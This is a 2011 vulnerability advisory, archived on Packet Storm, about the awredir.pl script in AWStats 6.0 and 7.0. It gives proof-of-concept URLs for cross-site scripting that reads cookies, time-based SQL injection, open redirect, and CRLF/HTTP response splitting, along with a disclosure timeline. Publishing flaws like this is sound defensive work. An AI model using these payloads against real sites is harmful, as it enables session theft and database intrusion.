exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

AWStats 7.0 / 6.0 SQL Injection / Cross Site Scripting / CRLF Injection

AWStats 7.0 / 6.0 SQL Injection / Cross Site Scripting / CRLF Injection
Posted Sep 23, 2011
Authored by MustLive

AWStats versions 6.0 and 7.0 suffers from CRLF injection, cross site scripting, HTTP response splitting, and remote SQL injection vulnerabilities.

tags | exploit, remote, web, vulnerability, xss, sql injection
SHA-256 | 59557071b1987b2fde0f1594bff019d2392bfda8e3b64f00a2219e1a52209747

AWStats 7.0 / 6.0 SQL Injection / Cross Site Scripting / CRLF Injection

Change Mirror Download
Hello list!

I want to warn you about multiple security vulnerabilities in AWStats.

These are Cross-Site Scripting, Redirector, SQL Injection, HTTP Response
Splitting and CRLF Injection vulnerabilities in AWStats (in awredir).

-------------------------
Affected products:
-------------------------

Vulnerable are all versions of AWStats (6.0, 7.0 and previous versions).

----------
Details:
----------

AWStats includes script Advanced Web Redirector (awredir.pl). There were
already found (by trev and tx) XSS and Redirector vulnerabilities in
awredir.pl in 2008 (http://sla.ckers.org/forum/read.php?3,23620). They have
not mentioned about SQL Injection, maybe it was due to that affected
functionality of the script was turned off by default.

As I found, version awredir 1.1 (build 1.5) was not vulnerable to XSS, but
version 1.1 (build 1.6) was already vulnerable.

There are XSS, Redirector and SQL Injection vulnerabilities in version 1.1
of the script. And in version 1.2 the protection was added - parameter key.
Which can even be not used (if $KEYFORMD5 is empty), or it can be revealed
by picking up. So the protection with key is not sufficient and can be
bypassed. The parameter key will be needed for version 1.2 for conducting of
Redirector, SQL Injection, HTTP Response Splitting and CRLF Injection
attacks.

In version 1.2 XSS was fixed, but Redirector and SQLi holes were left and
HTTPRS, CRLF Injection and two new XSS were added.

XSS (WASC-08) (in versions <=1.1):

http://site/awredir.pl?url=javascript:alert(document.cookie)

Redirector (URL Redirector Abuse in WASC 2.0) (WASC-38):

http://site/awredir.pl?url=http://websecurity.com.ua

In version 1.2:

http://site/awredir.pl?key=0f3830803a70cc1636af3548b66ed978&url=http://websecurity.com.ua

SQL Injection (WASC-19):

http://site/awredir.pl?url='%20and%20benchmark(10000,md5(now()))/*

In version 1.2:

http://site/awredir.pl?key=f38ed1cdb04c8bda5386f7755a4e1d3e&url='%20and%20benchmark(10000,md5(now()))/*

SQL Injection attack is possible if $TRACEBASE is turned on and DBI is
included.

XSS (WASC-08) (in version 1.2):

http://site/awredir.pl?url=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/awredir.pl?key=%3Cscript%3Ealert(document.cookie)%3C/script%3E

HTTP Response Splitting (WASC-25):

http://site/awredir.pl?key=04ed5362e853c72ca275818a7c0c5857&url=%0AHeader:1

CRLF Injection (Improper Input Handling in WASC 2.0) (WASC-20):

http://site/awredir.pl?key=4b9faa91e2529400c4f3c70833b4e4a5&url=%0AText

CRLF Injection in logs is possible at turned on $DEBUG and/or $TRACEFILE.

------------
Timeline:
------------

2008.07.22 - after informing developers, trev and tx disclosed XSS and
Redirector holes. After which developers should fixed them correctly (and
also SQLi) and without adding new holes.
2011.09.17 - informed developers.
2011.09.22 - disclosed at my site.

I mentioned about these vulnerabilities at my site:
http://websecurity.com.ua/5380/

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close